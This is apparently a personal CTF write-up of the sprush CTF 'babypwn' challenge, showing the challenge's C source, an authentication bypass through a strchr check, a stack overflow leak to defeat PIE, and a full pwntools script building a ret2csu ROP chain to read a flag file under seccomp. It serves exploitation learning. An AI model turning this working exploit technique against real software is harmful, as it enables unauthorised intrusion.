f4d3

f4d3

InfoSec enthusiast | pwn | RE | CTF | BugBounty

SPR{babypwn}

Hi everyone !

This week write up will start fairly simple and easy with a funny chall of the sprush CTF which is a pwn challenge and they give us the libc and the respective source code, so not so much ASM involve.

recon

A Basic 64 bit PIE - binary without canary.

root@ea494f7de03f:/ctf/work/babypwn/task# checksec --file app
[*] '/ctf/work/babypwn/task/app'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

First of all, lets analyze the respective source code:

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <seccomp.h>
#include <sys/utsname.h>

char* ptr[4] = {0, 0, 0, 0};
int seccomped=0;

void sandbox() {
  if (!seccomped) {
    scmp_filter_ctx seccomp_ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
    seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0);
    seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_load(seccomp_ctx);
    seccomp_release(seccomp_ctx);
  }
  seccomped=1;
}

void setup() {
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
}

int auth() {
  char login[16] = {0};
  char password[16] = {0};
  char user_login[16] = {0};
  char user_password[16] = {0};
  int fd = open("auth.txt", O_RDONLY);
  char buf[100] = {0};
  read(fd, buf, 100);
  strncpy(login, buf, strchr(buf, ':')-buf);
  strncpy(password, strchr(buf, ':')+1, strchr(buf, '\n')-strchr(buf, ':')-1);
  puts("Login:");
  read(0, user_login, 16);
  puts("Password:");
  read(0, user_password, 16);
  for (int i = 0; i < 5; i++) {
    if (!strchr(login, user_login[i])) {
      return 0;
    }
  }
  for (int i = 0; i < 6; i++) {
    if (!strchr(password, user_password[i])) {
      return 0;
    }
  }
  return 1;
}

int get_game_number() {
  char num[16] = {0};
  int number = 0;
  puts("Input your game's number:");
  read(0, num, 16);
  number = atoi(num);
  if (number >= 1 && number <= 4) {
    return number;
  } else {
    puts("Invalid number");
    return -1;
  }
}

void create() {
  int number = get_game_number();
  if (number != -1) {
    if (!ptr[number-1]) {
      ptr[number-1] = (char*)calloc(1, 0x100);
      puts("Tell about it:");
      read(0, ptr[number-1], 0x50);
      puts("OK. Got your thoughts.");
      return;
    }
  }
}

void print() {
  int number = get_game_number();
  if (number != -1) {
    if (ptr[number-1]) {
      puts("Content:");
      puts(ptr[number-1]);
    }
  }
  return;
}

void delet() {
  int number = get_game_number();
  if (number != -1) {
    if (ptr[number-1]) {
      free(ptr[number-1]);
      ptr[number-1] = 0;
    }
  }
}

void upload() {
  char buf[16] = {0};
  puts("Input your size:");
  read(0, buf, 16);
  read(0, buf, atoi(buf));
  puts(buf);
  return;
}

int menu() {
  char buf[16] = {0};
  puts("1. Create game");
  puts("2. Print game\n3. Delete game");
  puts("4. Upload file\n5. Test RNG");
  puts("6. Exit\nYour choice:");
  read(0, buf, 16);
  return atoi(buf);
}

int try_rng() {
  char buf[16] = {0};
  int number=0;
  srand(time(NULL));
  int r = rand()%100;
  puts("Type your guess:");
  read(0, buf, 16);
  number = atoi(buf);
  if (number == r) {
    puts("Hooray! You're real lucky boy");
  } else {
    printf("Nah. The correct one is %d\n", r);
  }
  return r;
}

void finish() {
  exit(0);
}

int main() {
  setup();
  sandbox();
  if (!auth()) {
    return 1;
  }
  for (;;) {
     switch (menu()) {
       case 1:
        create();
        break;
      case 2:
        print();
        break;
      case 3:
        delet();
        break;
       case 4:
        upload();
        break;
      case 5:
        try_rng();
        break;
      case 6:
        finish();
        break;
     };
  }
}

First of all, the binary will ask us for a username and password, since we dont know anything of it, lets analyze the respective function. From now, to analyze everything, I’ll add comments to the respective ASM | source code, and start from there to generate conclusions.

int auth() {
  char login[16] = {0};
  char password[16] = {0};
  char user_login[16] = {0};
  char user_password[16] = {0};
  int fd = open("auth.txt", O_RDONLY);
  /*
  * Important: In buf we'll have the respective auth credentials which are 5 and 6 bytes long respectively.
  * On the last for loops, there's and important bug, since the only thing that the code is doing is to iterate over our creds and calling strchr() for each character.
  * what strchr() does is the following: return a pointer to the respective first ocurrence of the word if not, return NULL.
  * Since its called for each one of our creds, we just need to know (or guess) one character that is inside of the correct credentials.
  * turnsout, 'a' is contained in username and the respective password.
  */
  char buf[100] = {0}; 
  read(fd, buf, 100);
  strncpy(login, buf, strchr(buf, ':')-buf);
  strncpy(password, strchr(buf, ':')+1, strchr(buf, '\n')-strchr(buf, ':')-1);
  puts("Login:");
  read(0, user_login, 16);
  puts("Password:");
  read(0, user_password, 16);
  for (int i = 0; i < 5; i++) {
    if (!strchr(login, user_login[i])) {
      return 0;
    }
  }
  for (int i = 0; i < 6; i++) {
    if (!strchr(password, user_password[i])) {
      return 0;
    }
  }
  return 1;
}

From here, we’re in…

We have an array of pointers in the bss, which is saving pointers to heap chunks, but no heap overflow or UAF here (the respective pointers are set to NULL after free()).
One important thing, is a basic buffer overflow on the upload() function.

void upload() {
  char buf[16] = {0};
  puts("Input your size:");
  read(0, buf, 16);
  /*
  * The important thing here is that we're ask for the size, and the buffer is just `16 bytes` long, so, by writing 24+ bytes of data, we successfully can make a `bof`.
  */
  read(0, buf, atoi(buf));
  puts(buf);
  return;
}

Note that we cant just call one_gadgets | execve | arbitrary syscall, since we’re "sandboxed with seccomp", so, we’re gonna leak the flag with just the white listed syscalls.

Exploit

how ?

  • First, everything that we’re gonna do is centered on this last function.
  • Since is a PIE binary, we first need a leak in order to calculate the base of the binary.
  • This last functions comes handy, we can write n-bytes just before the return value, if we do this just before the return address, puts will write the entire buffer, which will have no nullbyte in between the buffer and the return address, allowing us to leak the ret value.
  • Second, since we need to control the third register (rdx) to use the read syscall, we’re gonna need to do a ret2csu attack.
  • We have an infinite buffer, so we can make everything with just one ROP chain (after the respective leak) that will do the following.
  • read the /tmp/flag.txt string into the bss.
  • open the /tmp/flag.txt using the bss string.
  • read the open file into the bss.
  • puts the bss string that will contain our flag.
ret2csu -> read(fd = 0, bss, len("/tmp/flag.txt") ) -> fd = open(bss) -> read(fd, bss, 0x20) -> puts(bss)

With this being said, the exploit will become something like this (I’ll comment every part of the code, if this format is not friendly for a writeup, please, ping me up).

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "./app"  ## change for the challenge name
DEBUG = 1


if DEBUG:
    context.log_level = "debug"
    p = process(p_name, env = {"LD_PRELOAD":"./libc.so.6"})         ## Start the new process
    gdb_command = '''b * main
    b * auth+358
    b * upload+104
    b * __libc_csu_init+82'''.split('\n')    ## The command that will run gdb at startup
    attach_command = "tmux new-window gdb {} {} ".format(p_name,p.pid)
    for k in gdb_command:
        attach_command += '''--eval-command="{}" '''.format(k)
    log.debug("Starting a new gdb session with the following command: {}".format(attach_command))
    subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
else:
    p = remote("tasks.sprush.rocks",20002)


def make_auth():
    username = b'a' * 6
    password = b'a' * 6
    p.sendline(username)
    p.sendline(password)
    p.recvuntil(b"Your choice:")

def upload_bof(size, payload,n = True):
    p.sendline(b'4')
    p.recvuntil(b"size:")
    p.sendline(str(size))
    p.sendline(payload) 
    p.recvuntil('AAAA')
    leak = p.recvline()
    if n :
        p.recvuntil("choice:")
    return leak
    

    

# First, for the login function, the only thing that the program does is to search for a occurence of one character
# By knowing one character in username and password we're in

yesno("Send the auth payload ?")
make_auth()


# Now we have a classic bof on the upload function with offset: 24
# With 24 of bof, we can get the leak of the return value of the function
# By not writing the nullbyte on our string "main+140"

leak_main_140   = upload_bof(24, b"A"*24)


leak_main_140   = leak_main_140.strip()[20:]
leak_main_140   = leak_main_140.ljust(8,b"\x00")
leak_main_140   = u64(leak_main_140)
binary_base     = leak_main_140 - 0x19fd
bss             = binary_base + 0x0000000000004000 + 0x90
plt_read        = binary_base + 0x10c0
got_read        = binary_base + 0x3f90
got_puts        = binary_base + 0x3f68
plt_puts        = binary_base + 0x1070
plt_open        = binary_base + 0x1110
csu_first       = binary_base + 0x1a72

'''
   0x000055bfa1e97a72 <+82>:    pop    rbx
   0x000055bfa1e97a73 <+83>:    pop    rbp
   0x000055bfa1e97a74 <+84>:    pop    r12
   0x000055bfa1e97a76 <+86>:    pop    r13
   0x000055bfa1e97a78 <+88>:    pop    r14
   0x000055bfa1e97a7a <+90>:    pop    r15
   0x000055bfa1e97a7c <+92>:    ret    

'''

csu_second      = binary_base + 0x1a58
'''
   0x000055bfa1e97a58 <+56>:    mov    rdx,r15                                                                                                                                                                                              
   0x000055bfa1e97a5b <+59>:    mov    rsi,r14                                                                                                                                                                                              
   0x000055bfa1e97a5e <+62>:    mov    edi,r13d                                                                                                                                                                                             
   0x000055bfa1e97a61 <+65>:    call   QWORD PTR [r12+rbx*8]
'''

rdi             = binary_base + 0x0000000000001a7b  #   pop rdi; ret
rsi             = binary_base + 0x0000000000001a79  #   0x0000000000001a79: pop rsi; pop r15; ret; 


log.info("Leak of main+140: %s" % hex(leak_main_140))
log.info("Binary base: %s"      % hex(binary_base))
log.info("bss start: %s"        % hex(bss))
log.info("read@@PLT: %s"        % hex(plt_read))
log.info("puts@@GOT: %s"        % hex(got_puts))
log.info("puts@@PLT: %s"        % hex(plt_puts))

yesno("Do the second overflow ? ")



payload = b''
payload += b'A' * 24    # Padding
payload += p64(csu_first)
payload += p64(0x00)    #   call   QWORD PTR [r12+rbx*8]
payload += p64(0x01)    #   set rbp to 0x1 in order to pass the cmp instruction and reach the ret value 
payload += p64(got_read)    #   since the jump dereference the address, we need to place the GOT, since the address is already resolved, which means that the read@@GOT will have the address of the function on libc.
payload += p64(0x00)  # rdi register
payload += p64(bss )  # rsi register
payload += p64(0x10)    # rdx register
payload += p64(csu_second)  # Second part of the ret2csu chain
payload += p64(0x00)     #   just some padding to reach the respective ret (we need to pass over every pop instruction that come after the cmp)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += b'AAAABBBB'
payload += p64(rdi)     # Here's the part that will be in charge of open the respective file
payload += p64(bss)     # bss address where we have the /tmp/flag.txt string
payload += p64(rsi)     
payload += p64(0x00)    # rsi for the respective open flags
payload += p64(0x00)    # dummy r15
payload += p64(plt_open)    # call open
# Now, we have the filedescriptor of the open file on rax, which must be 0x4
# In order to read it, we need another ret2csu, lol
payload += p64(csu_first)
payload += p64(0x00)    #   call   QWORD PTR [r12+rbx*8]
payload += p64(0x01)    #   same as above, set rbp to 0x1 in order to pass the cmp instruction and reach the ret value 
payload += p64(got_read)    #   r12 to the jump ( read@@GOT )
payload += p64(0x04)    #   to rdi, te respective file descriptor
payload += p64(bss)     #   rsi value, where we gona write 
payload += p64(0x30)    # rdx : amount of bytes to read from the fd
payload += p64(csu_second)
payload += p64(0x00)     #   just some padding to reach the respective ret
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += b'AAAABBBB'
# Now, we have the flag on our bss section,
# We need to write it down, with puts, yay
payload += p64(rdi)
payload += p64(bss)
payload += p64(plt_puts)
# Now exit to main or end it
payload += b'AAAABBBB'




upload_bof(len(payload) + 1, payload, n=False)

yesno("Send the flag path ?")
# This flag will be used on the first read of our ropchain
p.sendline(b"/tmp/flag.txt\x00")



p.interactive()


With this, we’re ready to grab the flag :D

Hope that this helps!

cheers!

kjj